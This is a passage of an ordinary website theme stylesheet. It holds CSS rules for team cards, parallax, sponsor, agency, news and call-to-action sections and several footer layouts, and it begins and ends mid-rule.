grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .team-block .image-box .social-links { position: absolute; left: 0; bottom: 35px; width: 100%; padding: 0px 5px; opacity: 0; -webkit-transform: translateY(100px); transform: translateY(100px); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .team-block .inner-box:hover .social-links { opacity: 1; -webkit-transform: translateY(0); transform: translateY(0); } .team-block .image-box .social-links li { position: relative; display: inline-block; vertical-align: top; margin: 0px 3px; } .team-block .image-box .social-links li a { position: relative; display: block; width: 44px; height: 44px; line-height: 44px; font-size: 16px; background: #ffffff; color: var(--thm-black); border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .team-block .image-box .social-links li a span { vertical-align: middle; line-height: 44px; } .team-block .image-box .social-links li a:hover { background: var(--thm-base); } .team-block .lower-box { position: relative; display: block; padding: 30px 0px 0; } .team-block .lower-box .designation { position: relative; display: block; font-size: 16px; text-transform: uppercase; letter-spacing: 1px; line-height: 1.2em; font-weight: 400; color: var(--thm-text); padding-top: 5px; font-family: var(--thm-font); } .team-block .lower-box h5 { font-size: 24px; text-transform: uppercase; letter-spacing: 1px; line-height: 1.05em; font-weight: 400; margin: 0; } .team-block .lower-box h5 a { color: var(--thm-black); } .team-block .lower-box h5 a:hover { text-decoration: underline; } .team-section .owl-theme .owl-nav { position: relative; width: 100%; text-align: center; padding-top: 40px; display: none; } .team-section .owl-theme .owl-dots { position: relative; width: 100%; text-align: center; padding-top: 30px; } .team-section .owl-theme .owl-dots .owl-dot { position: relative; display: inline-block; vertical-align: top; margin: 0px 3px; } .team-section .owl-theme .owl-dots .owl-dot span { position: relative; display: block; width: 10px; height: 10px; background: #d3d3d4; border: 2px solid #d3d3d4; border-radius: 50%; } .team-section .owl-theme .owl-dots .owl-dot.active span { background: #ffffff; border-color: var(--thm-base); } .team-three { padding-top: 120px; padding-bottom: 90px; } .team-three__about-two { /* background-image: url(../images/background/pattern-2.png);*/ } .team-card-three { margin-bottom: 30px; border-radius: 8px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .team-card-three:hover { -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } .team-card-three__inner { overflow: hidden; border-radius: 8px; position: relative; } .team-card-three__image img { width: 100%; /*-webkit-filter: grayscale(100%); filter: grayscale(100%);*/ } .team-card-three__hover, .team-card-three__content { border: 1px solid #e9ebee; text-align: center; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; padding-top: 25px; padding-bottom: 25px; background-color: #fff; -webkit-transition: opacity 500ms ease, visibility 500ms ease, -webkit-transform 500ms ease; transition: opacity 500ms ease, visibility 500ms ease, -webkit-transform 500ms ease; transition: opacity 500ms ease, visibility 500ms ease, transform 500ms ease; transition: opacity 500ms ease, visibility 500ms ease, transform 500ms ease, -webkit-transform 500ms ease; } .team-card-three__content { opacity: 1; visibility: visible; -webkit-transform: scale(1, 1); transform: scale(1, 1); -webkit-transform-origin: bottom center; transform-origin: bottom center; } .team-card-three:hover .team-card-three__content { opacity: 0; visibility: hidden; -webkit-transform: scale(1, 0); transform: scale(1, 0); } .team-card-three__hover { position: absolute; bottom: 0; left: 0; width: 100%; background-color: #fff; opacity: 0; visibility: hidden; -webkit-transform: scale(1, 0); transform: scale(1, 0); -webkit-transform-origin: bottom center; transform-origin: bottom center; } .team-card-three:hover .team-card-three__hover { opacity: 1; visibility: visible; -webkit-transform: scale(1, 1); transform: scale(1, 1); } .team-card-three__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; } .team-card-three__social a { display: -webkit-box; display: -ms-flexbox; display: flex; width: 44px; height: 44px; border-radius: 50%; background-color: #f4f5f8; font-size: 16px; color: var(--thm-black); -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-top: 15px; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; } .team-card-three__social a:hover { background-color: var(--thm-base); color: var(--thm-black); } .team-card-three__social li + li { margin-left: 10px; } .team-card-three__name { margin: 0; text-transform: uppercase; font-size: 24px; color: var(--thm-black); letter-spacing: 0.1em; line-height: 1; } .team-card-three__designation { text-transform: uppercase; color: #686a6f; font-size: 16px; margin: 0; line-height: 1; letter-spacing: 0.1em; margin-top: 10px; font-family: var(--thm-font); } /*** ==================================================================== 20. Parallax Section ==================================================================== ***/ .parallax-section { position: relative; padding: 120px 0px; background: #1c1e22; text-align: center; color: #ffffff; z-index: 1; } .parallax-section .jarallax-img, .parallax-section .image-layer { position: absolute; position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: center center; background-size: cover; background-attachment: fixed; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.3; } .parallax-section .content-box { position: relative; max-width: 870px; margin: 0 auto; } .parallax-section .content-box .icon-box { position: relative; display: block; width: 114px; height: 114px; line-height: 114px; text-align: center; color: var(--thm-black); font-size: 54px; border-radius: 50%; margin: 0 auto 50px; } .parallax-section .content-box .icon-box:before { content: ""; position: absolute; left: -7px; top: 0; display: block; width: 80px; height: 80px; background: #ffffff; opacity: 0.3; border-radius: 50%; } .parallax-section .content-box .icon-box:after { content: ""; position: absolute; left: 0; top: 0; display: block; width: 100%; height: 100%; background: var(--thm-base); z-index: 1; border-radius: 50%; } .parallax-section .content-box .icon-box span { position: relative; z-index: 2; } .parallax-section .content-box h2 { position: relative; display: block; font-size: 70px; line-height: 1em; text-transform: uppercase; color: #ffffff; font-weight: 500; margin-bottom: 0px; } .parallax-section .content-box h2 span { color: var(--thm-base); } /*** ==================================================================== 21. Sponsors Section ==================================================================== ***/ .sponsors-section { position: relative; padding: 100px 0px; background: #ffffff; } .sponsors-section__has-border-top { border-top: 1px solid rgba(255, 255, 255, 0.1); } .sponsors-section__pricing-two { background-color: #f4f5f8; } .sponsors-section__dark { background-color: #1c1e22; } .sponsors-section__one-page { border-bottom: 1px solid #e9ebee; } .sponsors-outer { position: relative; } .sponsors-outer .slide-item { display: block; } .sponsors-outer .image-box { position: relative; display: inline-block; } .sponsors-outer .image-box img { max-width: 100%; width: auto; display: inline-block; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; opacity: 0.2; } .sponsors-outer .image-box img:hover { opacity: 1; } .sponsors-outer .owl-dots, .sponsors-outer .owl-nav { position: relative; display: none; } .sponsors-section-four { padding-top: 80px; padding-bottom: 80px; } @media (min-width: 992px) { .sponsors-section-four { padding-top: 120px; padding-bottom: 120px; } } .sponsors-section-four .row { --bs-gutter-y: 30px; } .sponsors-section-four .image-box { background-color: #f4f5f8; border-radius: 8px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .sponsors-section-four .image-box:hover { background-color: var(--thm-black); } .sponsors-section-four .image-box img { -webkit-filter: invert(0%); filter: invert(0%); -webkit-transition: 500ms ease; transition: 500ms ease; } .sponsors-section-four .image-box:hover img { -webkit-filter: invert(100%); filter: invert(100%); } .sponsors-section-four .theme-btn { display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; } .sponsors-section-four .content-box { padding-top: 73px; } @media (min-width: 992px) { .sponsors-section-four .content-box { padding-top: 113px; } } .sponsors-section-four .content-box h3 { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 40px; line-height: 1em; letter-spacing: 0.1em; margin-bottom: 10px; } @media (min-width: 768px) { .sponsors-section-four .content-box h3 { font-size: 50px; } } @media (min-width: 992px) { .sponsors-section-four .content-box h3 { font-size: 80px; margin-bottom: 40px; } } /*** ==================================================================== 22. Agency Section ==================================================================== ***/ .agency-section { position: relative; padding: 120px 0px 80px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; } .agency-section .sec-title { margin-bottom: 40px; } .agency-section .featured-block { position: relative; display: block; padding-left: 230px; min-height: 117px; margin-bottom: 40px; } .agency-section .featured-block .image { position: absolute; left: 0; top: 0; width: 200px; } .agency-section .featured-block .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .agency-section .featured-block .text { position: relative; top: -5px; display: block; line-height: 1.7em; letter-spacing: 0.1em; margin-bottom: 32px; } .agency-section .left-col { position: relative; margin-bottom: 30px; } .agency-section .left-col .inner { position: relative; display: block; padding-right: 50px; } .agency-section .right-col { position: relative; margin-bottom: 30px; } .agency-section .right-col .inner { position: relative; display: block; } .tabs-box { position: relative; } .tabs-box .tab-buttons { position: relative; } .tabs-box .tab-buttons .tab-btn { position: relative; display: inline-block; vertical-align: top; cursor: pointer; } .tabs-box .tabs-content { position: relative; } .tabs-box .tabs-content .tab { position: relative; display: none; } .tabs-box .tabs-content .active-tab { display: block; } .default-tabs .tab-buttons .tab-btn { position: relative; line-height: 30px; font-size: 16px; font-weight: 500; color: var(--thm-black); text-align: center; padding: 14px 40px 11px; text-transform: uppercase; margin-bottom: 10px; margin-right: 10px; letter-spacing: 0.07em; border-radius: 7px; font-family: var(--thm-font); -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .default-tabs .tab-buttons .tab-btn span { position: relative; display: block; } .default-tabs .tab-buttons .tab-btn:last-child { margin-right: 0; } .default-tabs .tab-buttons .tab-btn:before { content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 2px; background: var(--thm-base); border-radius: 7px; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .default-tabs .tab-buttons .tab-btn.active-btn:before { height: 100%; } .default-tabs .tab-buttons .tab-btn:hover, .default-tabs .tab-buttons .tab-btn.active-btn:hover { color: var(--thm-black); } .default-tabs .tabs-content { position: relative; padding-top: 40px; } .default-tabs .tabs-content .content { position: relative; display: block; opacity: 0; visibility: hidden; -webkit-transform: translateY(50px); transform: translateY(50px); -webkit-transition: all 0.5s ease; transition: all 0.5s ease; } .default-tabs .tabs-content .active-tab .content { opacity: 1; visibility: visible; -webkit-transform: translateY(0px); transform: translateY(0px); } .default-tabs .tabs-content .text { position: relative; color: var(--thm-text); font-size: 16px; line-height: 34px; } .agency-section .right-col .text { position: relative; color: var(--thm-text); margin-bottom: 50px; } .agency-section .featured-block-two { position: relative; display: block; padding-left: 268px; min-height: 248px; padding-top: 20px; } .agency-section .featured-block-two .image { position: absolute; left: 0; top: 0; width: 242px; border-radius: 50%; } .agency-section .featured-block-two .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 50%; } .agency-section .featured-block-two .text { position: relative; top: -5px; display: block; line-height: 1.5em; margin-bottom: 0; } .agency-section .featured-block-two .text ul { position: relative; } .agency-section .featured-block-two .text ul li { position: relative; line-height: 2.125em; margin-bottom: 12px; padding-left: 30px; color: var(--thm-text); } .agency-section .featured-block-two .text ul li:before { content: "\f107"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; font-size: 18px; } /*** ==================================================================== 23. News Section ==================================================================== ***/ .news-section { position: relative; padding: 120px 0px 90px; } .news-section.alt-bg { background: #ffffff url(../images/background/pattern-2.png) left top repeat; } .news-section .more-box { position: relative; display: block; padding-top: 30px; text-align: center; padding-bottom: 10px; } .news-block { position: relative; margin-bottom: 30px; } .news-block .inner-box { position: relative; display: block; text-align: center; } .news-block .image-box { position: relative; display: block; overflow: hidden; } .news-block .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: all 500ms ease; transition: all 500ms ease; border-radius: 7px; } .news-block .inner-box:hover .image-box img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .news-block .lower-box { position: relative; padding: 0px 20px 0px; } .news-block .post-meta { position: relative; top: -27px; margin: 0 10px -3px; } .news-block .post-meta ul { position: relative; display: block; padding: 10px 5px 0px; background: #ffffff; border-radius: 7px; -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.05); } .news-block .post-meta ul li { position: relative; display: inline-block; vertical-align: middle; margin: 0 10px 10px; font-size: 16px; letter-spacing: 0.1em; text-transform: uppercase; font-family: var(--thm-font); } .news-block .post-meta ul li .far, .news-block .post-meta ul li .fa { position: relative; color: var(--thm-base); font-size: 14px; padding-right: 3px; vertical-align: middle; } .news-block .lower-box h5 { text-transform: uppercase; font-size: 34px; color: var(--thm-black); margin-bottom: 35px; } .news-block .lower-box h5 a { color: var(--thm-black); -webkit-transition: 500ms; transition: 500ms; } .news-block .lower-box h5 a:hover { color: var(--thm-base); text-decoration: underline; } .news-block .lower-box .text { position: relative; top: -5px; color: var(--thm-text); display: block; } .news-block .lower-box .link-box { position: relative; margin-top: 20px; } .news-block .lower-box .link-box a { position: relative; display: inline-block; width: 50px; height: 50px; line-height: 50px; text-align: center; font-size: 12px; color: #ffffff; background: #d3d3d4; border-radius: 50%; } .news-block .lower-box .link-box a span { font-weight: 700; vertical-align: middle; } .news-block .lower-box .link-box a:hover { background: var(--thm-base); color: var(--thm-black); } .news-block-two { position: relative; margin-bottom: 40px; } .news-block-two .inner-box { position: relative; display: block; } .news-block-two .image-box { position: relative; display: block; overflow: hidden; } .news-block-two .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: all 500ms ease; transition: all 500ms ease; border-radius: 7px; } .news-block-two .inner-box:hover .image-box img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .news-block-two .lower-box { position: relative; padding: 30px 0px 0px; } .news-block-two .post-meta { position: relative; display: block; } .news-block-two .post-meta ul { position: relative; display: block; } .news-block-two .post-meta ul li { position: relative; display: inline-block; vertical-align: middle; margin: 0 20px 5px 0px; font-size: 16px; letter-spacing: 0.07em; text-transform: uppercase; font-family: var(--thm-font); } .news-block-two .post-meta ul li .far, .news-block-two .post-meta ul li .fa { position: relative; top: -2px; color: var(--thm-base); font-size: 14px; padding-right: 3px; vertical-align: middle; } .news-block-two .lower-box h4 { text-transform: uppercase; font-size: 40px; line-height: 1.1em; color: var(--thm-black); margin-bottom: 30px; } .news-block-two .lower-box h4 a { color: var(--thm-black); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .news-block-two .lower-box h4 a:hover { color: var(--thm-base); text-decoration: underline; } .news-block-two .lower-box .text { position: relative; top: -5px; display: block; } .news-block-two .lower-box .link-box { position: relative; margin-top: 20px; } .news-block-two .lower-box .link-box a { position: relative; display: inline-block; text-transform: uppercase; font-size: 20px; color: var(--thm-black); letter-spacing: 1px; font-family: var(--thm-font); } .news-block-two .lower-box .link-box a:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-base); } .news-block-two .lower-box .link-box a:hover { color: var(--thm-base); } .news-block-two .lower-box .link-box a:hover:before { border-color: var(--thm-black); } .news-block-two .image-box .vid-link { position: absolute; left: 0; top: 0; display: block; width: 100%; height: 100%; z-index: 1; text-align: center; font-size: 24px; color: var(--thm-black); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; z-index: 3; } .news-block-two .image-box .vid-link .icon { position: absolute; display: block; left: 50%; top: 50%; margin-top: -50px; margin-left: -50px; width: 100px; height: 100px; line-height: 100px; text-align: center; font-size: 24px; color: var(--thm-black); background: var(--thm-base); border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .news-block-two .image-box .vid-link:hover .icon { background: var(--thm-black); color: var(--thm-base); } .news-block-three { position: relative; margin-bottom: 30px; } .news-block-three .inner-box { position: relative; display: block; padding: 50px 50px 40px; background: #f4f5f8; border-radius: 7px; } .news-block-three .quote-icon { position: relative; display: block; top: 30px; font-weight: 400; font-size: 150px; line-height: 0.4em; color: var(--thm-base); margin-bottom: 10px; } .news-block-three .link-icon { position: relative; display: block; font-weight: 400; font-size: 40px; line-height: 1em; color: var(--thm-base); margin-bottom: 15px; } .news-block-three .inner-box h4 { text-transform: uppercase; font-size: 40px; line-height: 1.1em; color: var(--thm-black); font-weight: 400; margin-bottom: 0px; } .news-block-three .inner-box h4 a { color: var(--thm-black); } .news-block-three .inner-box:hover h4 a { color: var(--thm-base); text-decoration: underline; } .news-block-three .inner-box .text { position: relative; top: -5px; display: block; margin: 0; } .news-block-three .over-link { position: absolute; left: 0; top: 0; width: 100%; height: 100%; z-index: 2; } .sidebar-page-container .more-box { position: relative; padding-top: 20px; } /* news two */ .news-two { padding-top: 120px; padding-bottom: 120px; } .news-two .swiper-pagination { position: relative; left: auto; bottom: auto; margin-top: 40px; } .news-two .swiper-container-horizontal > .swiper-pagination-bullets .swiper-pagination-bullet { width: 8px; height: 8px; background-color: var(--thm-black); opacity: 0.2; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-left: 2.5px; margin-right: 2.5px; } .news-two .swiper-pagination span:hover, .news-two .swiper-pagination span.swiper-pagination-bullet-active { opacity: 1 !important; background-color: var(--thm-base) !important; } .news-two__image { margin-bottom: 35px; background-color: var(--thm-base); } .news-two__image > img { width: 100%; -webkit-transition: 500ms ease; transition: 500ms ease; -webkit-filter: grayscale(0%); filter: grayscale(0%); opacity: 1; } .news-two__box:hover .news-two__image > img { -webkit-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.7; } .news-two__content { text-align: center; } .news-two__content h3 { margin: 0; color: var(--thm-black); font-size: 36px; font-weight: 800; line-height: 1.28; max-width: 466px; margin-left: auto; margin-right: auto; margin-top: 5px; } .news-two__content h3 a { color: inherit; } .news-two__meta { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; margin-bottom: 0; } .news-two__meta li { font-weight: 600; font-size: 16px; color: var(--thm-base); line-height: 1; } .news-two__meta li a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .news-two__meta li a:hover { color: var(--thm-black); } .news-two__meta li::after { content: "-"; margin-left: 10px; margin-right: 10px; } .news-two__meta li:last-child::after { content: ""; margin: 0; } /*** ==================================================================== 24. Call Section ==================================================================== ***/ .call-to-section { position: relative; padding: 0; z-index: 1; } .call-to-section .shape-1 { position: absolute; right: 0; top: 0; width: 340px; max-width: 100%; height: 100%; background: url(../images/icons/call-to-shape-1.png) right top no-repeat; z-index: 1; } .call-to-section .shape-2 { position: absolute; right: 170px; top: 0; width: 410px; height: 54px; background: url(../images/icons/call-to-shape-2.png) right top no-repeat; z-index: 0; } .call-to-section .inner { position: relative; display: block; padding: 95px 95px 68px; background: var(--thm-base); color: var(--thm-black); border-radius: 7px; overflow: hidden; bottom: -60px; margin-top: -60px; } .call-to-section h2 { position: relative; float: left; display: block; font-size: 60px; line-height: 0.85em; text-transform: uppercase; color: var(--thm-black); font-weight: 500; margin: 0px 0px 25px; z-index: 3; } .call-to-section .link-box { position: relative; float: right; padding-top: 12px; z-index: 3; } .call-to-section__no-margin .inner { bottom: auto; margin-bottom: 0; padding-left: 0; padding-right: 0; padding-top: 0; padding-bottom: 0; margin-top: 0; padding-top: 120px; padding-bottom: 110px; } @media (min-width: 992px) { .call-to-section__no-margin h2 { margin-bottom: 0; padding-top: 15px; } .call-to-section__no-margin .link-box { padding-top: 0; } } /*** ==================================================================== 25. Main Footer ==================================================================== ***/ .main-footer { position: relative; color: #999b9f; background: var(--thm-black) url(../images/background/footer-bg.png) center top no-repeat; } .main-footer .widgets-section { position: relative; padding: 170px 0px 70px; } .main-footer.normal-padding .widgets-section { padding: 120px 0px 70px; } .main-footer .column { position: relative; margin-bottom: 35px; } .main-footer .footer-widget { position: relative; } .main-footer .footer-logo { position: relative; margin-top: -10px; margin-bottom: 20px; } .main-footer h6 { position: relative; font-size: 24px; font-weight: 500; color: #ffffff; text-transform: uppercase; letter-spacing: 0.03em; margin-bottom: 30px; } .main-footer .logo-widget { position: relative; } .main-footer .logo-widget .logo { position: relative; margin-bottom: 26px; } .main-footer .logo-widget .logo img { height: 34px; } .main-footer .logo-widget .text { position: relative; display: block; margin: 0 0 30px; } .main-footer .links-widget ul li { position: relative; margin-bottom: 3px; } .main-footer .links-widget ul li:last-child { margin: 0; } .main-footer .links-widget ul li a { position: relative; color: #999b9f; line-height: 30px; text-transform: capitalize; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .main-footer .links-widget ul li a:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-base); -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: left; transform-origin: left; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .main-footer .links-widget ul li a:hover:before { -webkit-transform: scaleX(1); transform: scaleX(1); } .main-footer .links-widget ul li a:hover { color: #ffffff; } .main-footer .social-links { position: relative; } .main-footer .social-links li { position: relative; margin-right: 8px; display: inline-block; } .main-footer .social-links li a { position: relative; display: block; color: #999b9f; font-size: 16px; width: 44px; height: 44px; line-height: 44px; background: #1c1e22; text-align: center; border-radius: 50%; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .main-footer .social-links li a span { vertical-align: middle; } .main-footer .social-links li a:hover { color: #ffffff; background: var(--thm-base); } .main-footer .info-widget ul li { position: relative; display: block; line-height: 32px; padding-left: 30px; margin-bottom: 5px; } .main-footer .info-widget ul li.address { margin-bottom: 20px; } .main-footer .info-widget ul li .icon { position: absolute; left: 0; top: 0; line-height: 30px; font-size: 16px; color: var(--thm-base); } .main-footer .info-widget ul li:last-child { margin: 0; } .main-footer .info-widget ul li a { position: relative; color: #999b9f; line-height: 28px; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .main-footer .info-widget ul li a:hover { color: #ffffff; text-decoration: underline; -webkit-text-decoration-color: var(--thm-base); text-decoration-color: var(--thm-base); } .main-footer .newsletter-widget .text { position: relative; display: block; margin: 25px 0 0; font-size: 14px; line-height: 32px; } .main-footer .newsletter-form { position: relative; } .main-footer .newsletter-form form { position: relative; } .main-footer .newsletter-form .form-group { position: relative; margin: 0; } .main-footer .newsletter-form .form-group input[type="text"], .main-footer .newsletter-form .form-group input[type="tel"], .main-footer .newsletter-form .form-group input[type="email"] { position: relative; width: 100%; line-height: 30px; padding: 20px 60px 20px 25px; height: 70px; display: block; font-size: 18px; background: #1c1e22; color: #ffffff; border-radius: 5px; font-family: var(--thm-b-font); border: 1px solid #1c1e22; -webkit-transition: all 300ms ease; transition: all 300ms ease; font-size: 14px; } .main-footer .newsletter-form .form-group input[type="text"]:focus, .main-footer .newsletter-form .form-group input[type="email"]:focus, .main-footer .newsletter-form .form-group input[type="tel"]:focus { border-color: var(--thm-base); } .newsletter-form .form-group input::-webkit-input-placeholder { color: #999b9f; } .newsletter-form .form-group .theme-btn { position: absolute; right: 12px; top: 12px; width: 44px; height: 44px; background: var(--thm-base); color: var(--thm-black); border-radius: 50%; } .newsletter-form .form-group .theme-btn span { vertical-align: middle; font-size: 14px; } .newsletter-form .form-group .theme-btn:hover { background: #ffffff; color: var(--thm-base); } .main-footer .footer-bottom { position: relative; text-align: center; } .main-footer .footer-bottom .inner { position: relative; display: block; padding: 35px 0px; line-height: 30px; color: #999b9f; border-top: 1px solid rgba(255, 255, 255, 0.1); } .main-footer .footer-bottom .copyright { position: relative; line-height: 1.5em; } /* main footer two */ .main-footer__two { background-repeat: no-repeat; background-position: center center; background-color: var(--thm-black); padding-top: 120px; } .main-footer__two .footer-widget { padding-bottom: 60px; } .main-footer__two .footer-widget h3 { margin: 0; color: #fff; font-size: 80px; line-height: 0.78; text-transform: uppercase; max-width: 900px; margin-left: auto; margin-right: auto; letter-spacing: 0.1em; } .main-footer__two .footer-widget p { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; margin: 0; margin-top: 30px; margin-bottom: 35px; } .main-footer__two .footer-widget p span, .main-footer__two .footer-widget p a { color: #999b9f; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .main-footer__two .footer-widget p a:hover { color: var(--thm-base); } .main-footer__two .footer-widget p a + a { margin-left: 35px; } .main-footer__two .footer-widget p span { margin-left: 35px; } /* main footer three */ .main-footer__three { background-color: #18212e; padding-top: 100px; } .main-footer__three .footer-widget { margin-bottom: 30px; } .main-footer__three .footer-widget h3 { margin: 0; color: #fff; font-size: 20px; font-weight: bold; line-height: 1; margin-bottom: 50px; } .main-footer__three .footer-widget p { margin: 0; font-size: 16px; line-height: 2.125; color: #959ca6; font-weight: 500; margin-top: -10px; margin-bottom: 30px; } .main-footer__three .footer-widget__links { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; margin-top: -30px; } .main-footer__three .footer-widget__links li { -webkit-box-flex: 0; -ms-flex: 0 0 50%; flex: 0 0 50%; margin-top: 30px; line-height: 1; } .main-footer__three .footer-widget__links li a { font-size: 16px; font-weight: 500; color: #959ca6; display: inline-block; line-height: 1; -webkit-transition: all 500ms ease; transition: all 500ms ease; position: relative; } .main-footer__three .footer-widget__links li a::before { content: ""; width: 100%; height: 1px; background-color: #fff; position: absolute; bottom: 0; left: 0; -webkit-transform: scale(0, 1); transform: scale(0, 1); -webkit-transform-origin: left center; transform-origin: left center; -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; } .main-footer__three .footer-widget__links li:hover a::before { -webkit-transform: scale(1, 1); transform: scale(1, 1); } .main-footer__three .footer-widget__links li a:hover { color: var(--thm-base); } .main-footer__three .footer-widget .post-list li { display: -webkit-box; display: -ms-flexbox; display: flex; } .main-footer__three .footer-widget .post-list li + li { margin-top: 50px; } .main-footer__three .footer-widget .post-list li > img { -ms-flex-negative: 0; flex-shrink: 0; width: 68px; height: 70px; margin-right: 20px; } .main-footer__three .footer-widget .post-list li p { margin: 0; color: var(--thm-base); font-size: 12px; text-transform: uppercase; line-height: 1; font-weight: 500; letter-spacing: 0.1em; } .main-footer__three .footer-widget .post-list li h4 { color: #959ca6; font-size: 16px; line-height: 2.125; margin: 0; font-weight: 500; margin-top: 10px; } .main-footer__three .footer-widget .post-list li h4 a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .main-footer__three .footer-widget .post-list li h4 a:hover { color: #fff; } .main-footer__three .footer-widget .contact-list { margin-top: -20px; } .main-footer__three .footer-widget .contact-list li { position: relative; font-size: 16px; line-height: 1.875; border-bottom: 1px solid rgba(255, 255, 255, 0.1); font-weight: 500; padding-left: 30px; min-height: 58px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .main-footer__three .footer-widget .contact-list li:last-child { border-bottom: 0; margin-top: 15px; } .main-footer__three .footer-widget .contact-list li a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .main-footer__three .footer-widget .contact-list li a:hover { color: #fff; } .main-footer__three .footer-widget .contact-list li > span { position: absolute; top: 50%; left: 0; -webkit-transform: translateY(-44%); transform: translateY(-44%); font-size: 18px; color: var(--thm-base); } .main-footer__three .footer-widget .contact-list li:last-child > span { top: 0; -webkit-transform: translateY(0); transform: translateY(0); } .main-footer__three .btn-style-three:hover { background-color: #fff; color: var(--thm-black); } .main-footer__three .bottom-footer { background-color: #151d28; border-top: 1px solid rgba(255, 255, 255, 0.1); padding-top: 39.5px; padding-bottom: 39.5px; margin-top: 60px; } .main-footer__three .bottom-footer .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .main-footer__three .bottom-footer .left-content { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .main-footer__three .bottom-footer .left-content p { margin: 0; font-size: 16px; color: #959ca6; font-weight: 500; line-height: 41px; border-left: 1px solid rgba(255, 255, 255, 0.1); padding-left: 40px; margin-left: 40px; } .main-footer__three .bottom-footer .social-links { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .main-footer__three .bottom-footer .social-links a { font-size: 20px; color: #959ca6; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .main-footer__three .bottom-footer .social-links a:hover { color: var(--thm-base); } .main-footer__three .bottom-footer .social-links li + li { margin-left: 40px; } .footer-four { background-color: #161616; } .footer-four .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; 